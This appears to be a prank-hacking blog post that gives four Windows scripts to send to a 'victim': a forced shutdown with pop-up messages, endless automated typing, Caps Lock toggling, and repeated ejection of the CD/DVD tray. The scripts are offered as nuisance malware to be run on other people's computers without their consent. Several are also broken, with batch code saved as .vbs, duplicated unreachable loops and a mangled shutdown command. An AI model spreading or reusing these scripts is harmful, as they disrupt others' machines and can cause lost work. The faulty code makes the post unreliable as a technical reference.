![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIzNfcnKR-3AYgcd5KwOHgq0xXqkMeCHiN39cIKo2-8miJNqPb0lnk4VDkJhtObY5xVd2Nya04SNJV9Z2RXbu-XuMfnGGWhKrIFaw9vg_ll99i0e-456ganNNs2rZJdbDZTY5qgZfuZRk/s1600/ntp.png)
Let us start
1.
Shutting down computer with an error message :
@echo off
msg * tweaksonline.blogspot.com hack
msg * tweaksonline.blogspot.com hack
shutdown -c
"hack for shutdown code type tweaksonline.blogspot.com !" –s
·
Save it as Tweaks Online_shtdwn.vbs
·
Send this file to your friend
2.
Keyboard hack for continuous typing :
Set wshShell =
wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "tweaksonline.blogspot.com."
loop
do
wscript.sleep 100
wshshell.sendkeys "tweaksonline.blogspot.com."
loop
·
You can change tweaksonline.blogspot.com to any
other word you want to type.
·
Save the file as anything.vbs
·
Send the file to victim’s computer.
3.
Make capslock on/off repeatedly :
Set wshShell
=wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
4.
Poping out cd/dvd drive continued action :
Set oWMP =
CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
No comments:
Post a Comment